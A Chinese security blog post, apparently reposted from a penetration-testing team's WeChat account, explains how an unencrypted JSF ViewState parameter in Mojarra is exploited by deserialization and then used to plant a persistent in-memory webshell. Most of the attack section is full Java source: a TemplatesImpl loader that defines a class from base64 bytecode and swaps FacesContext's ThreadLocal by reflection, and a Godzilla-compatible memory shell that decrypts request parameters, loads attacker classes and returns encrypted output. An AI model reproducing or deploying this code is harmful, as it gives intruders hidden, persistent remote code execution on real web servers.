Mojarra JSF 反序列化到内存马

admin 2023年3月27日20:19:42评论66 views字数 10165阅读33分53秒阅读模式

某次攻防演练中遇到了一个OA靶标,登录页面为login.jsf,当时并不了解JSF反序列化,还是大哥直接一发payload 打了下来,事后便有了这篇文章。

环境搭建

使用vulhub的环境,启动容器后将/usr/src目录下的文件拷贝出来,新建maven项目,打包为war,启动tomcat,开始分析。

漏洞复现

该漏洞利用点在javax.faces.ViewState参数,该参数是用来保存页面状态的,在其 2.1.29-08、2.0.11-04 版本之前,参数未加密,并且直接将其进行了反序列化。
实际环境中,识别该组件可以通过以下方式:

  • • 文件名、参数名是否有jsf字样

  • • 表单参数默认值是否以H4sIA开头(Base64Gzip)

这次靶标的漏洞参数名为jsf_state_64,也就是从这里发现了端倪。

vulhub用的jdk7u21链,我这里自己加了CC依赖,然后使用了CC6,ysoserial生成payload,先gzip压缩,再base64编码,最后URL编码,放入参数中。

Mojarra JSF 反序列化到内存马

构造内存马

大哥的打法是根据当时的容器注入了一个Weblogic内存马,这样虽然也成功完成了任务,不过在了解了一下JSF之后,我开始思考:有没有办法依靠JSF本身的机制来构造内存马呢?
JSF在国内流行度不高,以至于我找了近一周的资料,再加上和开发群群友的友好交♂流,才构造成功。
首先来看一下JSF技术的架构,其本质是MVC:

Mojarra JSF 反序列化到内存马

由上图可以看出,负责处理的部分是FacesServlet,在web.xml中能看到配置:

Mojarra JSF 反序列化到内存马


对每个JSF请求,FacesServlet对象都会为其获取一个javax.faces.context.FacesContext类的实例,FacesContext的实例里包含了所有处理JSF请求所需的每个请求的状态信息,如下图所示:

Mojarra JSF 反序列化到内存马


可以看出,请求响应的核心就是FacesContext实例,它里面存放着应用程序的全部数据,我们也可以从中取出request以及response对象。
如何获取该实例呢?有一个静态方法FacesContext.getCurrentInstance(),它会返回与当前请求对应的FacesContext对象:

public static FacesContext getCurrentInstance() {
    FacesContext facesContext = (FacesContext)instance.get();
    if (null == facesContext) {
        facesContext = (FacesContext)threadInitContext.get(Thread.currentThread());
    }
    return facesContext;
}

这里的instance字段是什么呢?是一个静态的ThreadLocal对象:

private static ThreadLocal<FacesContext> instance = new ThreadLocal<FacesContext>() {};

这是为了实现FacesContext对象能够在同个线程内进行传递,便于后续的处理器能够处理。
FacesContext并非遵循单例模式,它是每一个HTTP请求对应一个FacesContext对象,也就是一个线程,正常情况下为了保证线程安全,每个线程之间的变量数据都是隔离的,所以如何使得自己的内存马能够影响所有FacesContext对象,这是一个需要解决的问题。
查找资料的时候,c0ny1师傅的 半自动化挖掘request实现多种中间件回显 给了我一点启示:

Mojarra JSF 反序列化到内存马


以及fnmsd师傅的 基于请求/响应对象搜索的Java中间件通用回显方法(针对HTTP)

Mojarra JSF 反序列化到内存马

所以思路是:将正常FacesContext对象的instance字段(希望你还没有忘记它是一个ThreadLocal对象)利用反射替换为一个A对象,A应该是ThreadLocal的子类,并且重写了其set()方法,其中添加了内存马的逻辑。
因为每次请求都会调用ThreadLocal.set(),也就会触发我们的内存马逻辑,恶意类已经被JVM加载,基本上是不会被卸载掉的,也就达到了持久化的目的。

具体实现

实现部分,分为两块来完成,分别是:内存马类和替换类。
所以整体逻辑就是,利用TemplatesImpl类加载替换类,替换类的作用是加载内存马类并替换掉原本的instance字段,具体代码如下:

//替换类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Loaders {
    public static class PayloadLoader extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet implements java.io.Serializable{
        static {
            try {
                byte[] evilBytes;
                ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
                Class facesClass = classLoader.loadClass("javax.faces.context.FacesContext");
                String className = "org.razor.exploits.JSFMemShellGodzilla4"//内存马类名
                String evilBytesStr = "yv66vgAAA……"//内存马类字节码

                Class base64Class = classLoader.loadClass("java.util.Base64");
                Class base64DecodeClass = classLoader.loadClass("java.util.Base64$Decoder");
                Object decoder = base64Class.getMethod("getDecoder").invoke(base64Class);
                Method decodeMethod = base64DecodeClass.getMethod("decode", String.class);
                evilBytes = (byte[]) decodeMethod.invoke(decoder, evilBytesStr);
                Method defineClassMethod = classLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
                defineClassMethod.setAccessible(true);
                Class evilClass = (Class) defineClassMethod.invoke(classLoader, className, evilBytes, Integer.valueOf("0"), evilBytes.length);
                Object evilObject = evilClass.newInstance();
                Field field = facesClass.getDeclaredField("instance");
                field.setAccessible(true);
                field.set(null, evilObject);
            } catch (Exception e) {
            }
        }
        public PayloadLoader(){this.transletVersion = 101;}

        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        }

        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        }
    }
}
//哥斯拉内存马类
package org.razor.exploits;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class JSFMemShellGodzilla4 extends ThreadLocal{
    private static ThreadLocal newInstance;
    private static ClassLoader classLoader;
    private static String password = "pass";
    private static String key = "3c6e0b8a9c15224a";
    private static String md5 = md5(password + key);
    private static Class payload;

    static {
        try{
            classLoader = Thread.currentThread().getContextClassLoader();
            Field field = classLoader.loadClass("javax.faces.context.FacesContext").getDeclaredField("instance");
            field.setAccessible(true);
            newInstance = (ThreadLocal)field.get(null);
        }catch (Exception e){
        }
    }
    
    public Class defClass(byte[] classBytes) throws Throwable {
        Method method = classLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
        method.setAccessible(true);
        return ((Class)method.invoke(classLoader, null, classBytes, Integer.valueOf("0"), classBytes.length));
    }
    
    @Override
    public Object get(){
        return newInstance.get();
    }

    @Override
    public void set(Object obj){
        newInstance.set(obj);
        try{
            Field field = obj.getClass().getDeclaredField("externalContext");
            field.setAccessible(true);
            Object externalContext = field.get(obj);
            Field field2 = externalContext.getClass().getDeclaredField("request");
            field2.setAccessible(true);
            HttpServletRequest request = (HttpServletRequest)field2.get(externalContext);
            Field field3 = externalContext.getClass().getDeclaredField("response");
            field3.setAccessible(true);
            HttpServletResponse response = (HttpServletResponse)field3.get(externalContext);

            byte[] evilBytes = base64Decode(request.getParameter(password));
            evilBytes = x(evilBytes, false);
            if(payload == null){
                payload = defClass(evilBytes);
            }else{
                ByteArrayOutputStream arrayOutputStream = new ByteArrayOutputStream();
                Object f = payload.newInstance();
                f.equals(arrayOutputStream);
                f.equals(evilBytes);
                f.equals(request);
                response.getWriter().write(md5.substring(016));
                f.toString();
                response.getWriter().write(base64Encode(x(arrayOutputStream.toByteArray(), true)));
                response.getWriter().write(md5.substring( 16));
            }

        }catch (Exception e){
        } catch (Throwable e) {
        }
    }

    public static byte[] x(byte[] s,boolean m){
        try{
            javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
            c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(key.getBytes(),"AES"));
            return c.doFinal(s);
        }catch (Exception e){
            return null;
        }
    }

    public static String md5(String s) {
        String ret = null;
        try {
            java.security.MessageDigest m;
            m = java.security.MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
        } catch (Exception e) {

        }
        return ret;
    }
    public static String base64Encode(byte[] bs) throws Exception {
        Class base64;
        String value = null;
        try {
            base64=Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder"null).invoke(base64, null);
            value = (String)Encoder.getClass().getMethod("encodeToString"new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
        } catch (Exception e) {
            try {
                base64=Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                value = (String)Encoder.getClass().getMethod("encode"new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
            } catch (Exception e2) {

            }
        }
        return value;
    }
    public static byte[] base64Decode(String bs) throws Exception {
        Class base64;
        byte[] value = null;
        try {
            base64=Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder"null).invoke(base64, null);
            value = (byte[])decoder.getClass().getMethod("decode"new Class[] { String.class }).invoke(decoder, new Object[] { bs });
        } catch (Exception e)
        {
            try {
            base64=Class.forName("sun.misc.BASE64Decoder");
            Object decoder = base64.newInstance();
            value = (byte[])decoder.getClass().getMethod("decodeBuffer"new Class[] { String.class }).invoke(decoder, new Object[] { bs });
            } catch (Exception e2) {
            }
        }
        return value;
    }
}

先编译内存马类,将其base64字符串填入替换类,再编译替换类为字节码,再使用反序列化利用链加载替换类字节码,最后将payload编码:

Mojarra JSF 反序列化到内存马

该方法只测试了Tomcat环境,其余环境未测试。

总结

Mojarra JSF 反序列化到内存马

参考文章

  • • https://www.cnblogs.com/nice0e3/p/16205220.html

  • • https://www.yiibai.com/jsf/jsf-life-cycle.html

  • • https://www.cnblogs.com/CoLo/p/16886829.html

  • • http://www.blogjava.net/AllanZ/archive/2009/07/20/287472.html

  • • http://www.blogjava.net/AllanZ/archive/2009/07/20/287469.html

  • • https://y4er.com/posts/solve-the-problem-of-godzilla-memory-shell-pagecontext

  • • https://xz.aliyun.com/t/10556



-END-

Mojarra JSF 反序列化到内存马如果本文对您有帮助,来个点赞在看就是对我们莫大的鼓励。Mojarra JSF 反序列化到内存马



  推荐关注:





Mojarra JSF 反序列化到内存马
弱口令安全实验室正式成立于2022年1月,是思而听(山东)网络科技有限公司旗下的网络安全研究团队,专注于网络攻防技术渗透测试硬件安全安全开发网络安全赛事以及网安线上教育领域研究几大板块。
团队社群氛围浓厚,同时背靠思而听(山东)网络科技有限公司旗下的“知行网络安全教育平台”作为社区,容纳同好在安全领域不断进行技术提升以及技术分享,从而形成良好闭环。

团队全员均持CISP-PTE(注册信息安全专业人员-渗透测试工程师)认证,积极参与着各类网络安全赛事并屡获佳绩,同时多次高水准的完成了国家级、省部级攻防演习活动以及相关重报工作,均得到甲方的一致青睐与肯定。

欢迎对网络安全技术感兴趣的你来加入我们实验室,可在公众号内依次点击【关于我们】-【加入我们】来获取联系方式~




原文始发于微信公众号(弱口令安全实验室):Mojarra JSF 反序列化到内存马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月27日20:19:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Mojarra JSF 反序列化到内存马https://cn-sec.com/archives/1633431.html

发表评论

匿名网友 填写信息